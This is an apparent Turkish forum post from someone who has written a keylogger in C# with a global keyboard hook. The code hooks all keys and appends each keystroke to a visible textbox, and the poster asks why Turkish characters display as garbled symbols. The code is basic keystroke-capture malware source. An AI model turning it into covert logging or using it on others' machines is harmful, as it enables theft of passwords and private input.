Merhaba GlobalKeyboardhook.cs dosyası kullanarak keylogger yazdım çalışıyor tek sorun türkçe karakterlerde hatalar oluyor. ı , ş gibi yazılar tuhaf simgelerle gözüküyor. Bunu nasıl yaparımm
Kodlar :
globalKeyboardHook ghook;
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
ghook.hook();
}
private void Form1_Load(object sender, EventArgs e)
{
ghook = new globalKeyboardHook();
ghook.KeyDown += new KeyEventHandler(ghook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
ghook.HookedKeys.Add(key);
}
public void ghook_KeyDown(object sender, KeyEventArgs e)
{
textBox1.Text += ((char)e.KeyValue).ToString();
}
private void button2_Click(object sender, EventArgs e)
{
ghook.unhook();
}